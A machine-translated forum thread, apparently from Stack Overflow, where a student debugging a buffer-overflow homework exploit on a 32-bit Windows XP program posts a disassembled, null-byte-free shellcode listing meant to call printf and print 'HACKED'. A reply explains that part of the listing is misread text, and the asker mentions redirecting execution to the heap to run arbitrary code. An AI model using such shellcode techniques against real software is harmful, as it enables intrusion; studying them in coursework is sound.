[英]Printf in assembler doesn't print
我有一個使用緩沖區溢出來破解程序的功課(使用disassambling,程序是用C ++編寫的,我還沒有源代碼)。 我已經管理過但我遇到了問題。 我必須在屏幕上打印一些消息,所以我找到了printf函數的地址,在堆棧中按下“HACKED”的地址和“%s”的地址(按此順序)並調用該函數。 調用的代碼傳遞良好但沒有打印出來。
我試圖像程序中的其他地方一樣模擬環境但是必須有問題。 你知道我做錯了什么我沒有輸出嗎? 非常感謝
編輯:
該程序在Windows XP SP3 32b上運行,用C ++,Intel asm編寫
有“黑客”代碼
CPU Disasm
Address Hex dump Command Comments
0012F9A3 90 NOP ;hack begins
0012F9A4 90 NOP
0012F9A5 90 NOP
0012F9A6 89E5 MOV EBP,ESP
0012F9A8 83EC 7F SUB ESP,7F ;creating a place for working data
0012F9AB 83EC 7F SUB ESP,7F
0012F9AE 31C0 XOR EAX,EAX
0012F9B0 50 PUSH EAX
0012F9B1 50 PUSH EAX
0012F9B2 50 PUSH EAX
0012F9B3 89E8 MOV EAX,EBP
0012F9B5 83E8 09 SUB EAX,9
0012F9B8 BA 1406EDFF MOV EDX,FFED0614 ;address to jump, it is negative because there mustn't be 00 bytes
0012F9BD F7DA NOT EDX
0012F9BF FFE2 JMP EDX ;I have to jump because there are some values overwritten by the program
0012F9C1 90 NOP
0012F9C2 0090 00000000 ADD BYTE PTR DS:[EAX],DL
0012F9C8 90 NOP
0012F9C9 90 NOP
0012F9CA 90 NOP
0012F9CB 90 NOP
0012F9CC 6C INS BYTE PTR ES:[EDI],DX ; I/O command
0012F9CD 65:6E OUTS DX,BYTE PTR GS:[ESI] ; I/O command
0012F9CF 67:74 68 JE SHORT 0012FA3A ; Superfluous address size prefix
0012F9D2 2069 73 AND BYTE PTR DS:[ECX+73],CH
0012F9D5 203439 AND BYTE PTR DS:[EDI+ECX],DH
0012F9D8 34 2C XOR AL,2C
0012F9DA 2066 69 AND BYTE PTR DS:[ESI+69],AH
0012F9DD 72 73 JB SHORT 0012FA52
0012F9DF 74 20 JE SHORT 0012FA01
0012F9E1 3120 XOR DWORD PTR DS:[EAX],ESP
0012F9E3 6C INS BYTE PTR ES:[EDI],DX ; I/O command
0012F9E4 696E 65 7300909 IMUL EBP,DWORD PTR DS:[ESI+65],-6F6FFF8D
0012F9EB 90 NOP
0012F9EC 90 NOP
0012F9ED 90 NOP
0012F9EE 31DB XOR EBX,EBX ; hack continues
0012F9F0 8818 MOV BYTE PTR DS:[EAX],BL ; writing 00 behind word "HACKED"
0012F9F2 83E8 06 SUB EAX,6
0012F9F5 50 PUSH EAX ; address of "HACKED"
0012F9F6 B8 3B8CBEFF MOV EAX,FFBE8C3B
0012F9FB F7D0 NOT EAX
0012F9FD 50 PUSH EAX ; address of "%s"
0012F9FE B8 3897BFFF MOV EAX,FFBF9738
0012FA03 F7D0 NOT EAX
0012FA05 FFD0 CALL EAX ;address of printf
該計划的開頭:
CPU Disasm
Address Hex dump Command Comments
00403F40 /$ 55 PUSH EBP
00403F41 |. 8BEC MOV EBP,ESP
00403F43 |. 6A FF PUSH -1
00403F45 |. 68 AB6D4100 PUSH pop3.00416DAB
00403F4A |. 64:A1 0000000 MOV EAX,DWORD PTR FS:[0]
00403F50 |. 50 PUSH EAX
00403F51 |. 64:8925 00000 MOV DWORD PTR FS:[0],ESP
00403F58 |. 81EC 4C050000 SUB ESP,54C
00403F5E |. 6A 00 PUSH 0 ; /Arg1 = 0
00403F60 |. E8 6BDEFFFF CALL 00401DD0 ; \pop3.00401DD0
00403F65 |. 83C4 04 ADD ESP,4
00403F68 |. 50 PUSH EAX ; /Arg1
00403F69 |. E8 DA2D0000 CALL 00406D48 ; \pop3.00406D48
00403F6E |. 83C4 04 ADD ESP,4
00403F71 |. 837D 08 02 CMP DWORD PTR SS:[ARG.1],2
00403F75 |. 74 21 JE SHORT 00403F98
00403F77 |. 837D 08 03 CMP DWORD PTR SS:[ARG.1],3
00403F7B |. 74 1B JE SHORT 00403F98
00403F7D |. 8B45 0C MOV EAX,DWORD PTR SS:[ARG.2]
00403F80 |. 8B08 MOV ECX,DWORD PTR DS:[EAX]
00403F82 |. 51 PUSH ECX
00403F83 |. 68 287D4100 PUSH OFFSET pop3.00417D28 ; ASCII "%s arg: port [log dir]"
00403F88 |. E8 3A290000 CALL 004068C7 ; this is probably address of printf, I have source code of previous version of this program, this part is probably same
這段代碼非常難看,因為我是匯編程序的新手,因為緩沖區溢出錯誤,所以不能有空字節
您是否以正確的順序傳遞printf的參數,您擁有正確的數量,並且它們都通過堆棧傳遞(優化可能意味着使用寄存器)。 可變數量的參數可能導致比您的假設更復雜的參數列表。 也許嘗試一下可能更簡單的看跌期權 。
編輯:剛剛看到你的編輯,你正試圖反匯編一堆永遠不會被執行的文本; 代碼起始於
0012F9CC 6C INS BYTE PTR ES:[EDI],DX ; I/O command
0012F9CD 65:6E OUTS DX,BYTE PTR GS:[ESI] ; I/O command
0012F9CF 67:74 68 JE SHORT 0012FA3A ; Superfluous address size prefix
0012F9D2 2069 73 AND BYTE PTR DS:[ECX+73],CH
0012F9D5 203439 AND BYTE PTR DS:[EDI+ECX],DH
0012F9D8 34 2C XOR AL,2C
實際上只是一段文字說'ength是494,前1行'。 我發現這是因為printf不應該有INS和OUTS。 提示:當黑客攻擊和反匯編代碼時,總是在編輯器中並排查看它,該編輯器顯示ASCII和UNICODE以根除文本文字。
我沒有發現錯誤,但我已經改變了我的黑客代碼的結構,現在它正在工作。 我只發布了一些指令,它們將EIP從堆棧重定向到我有“無限”空間的堆,在這里我可以執行所需的代碼。 感謝您的意見。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.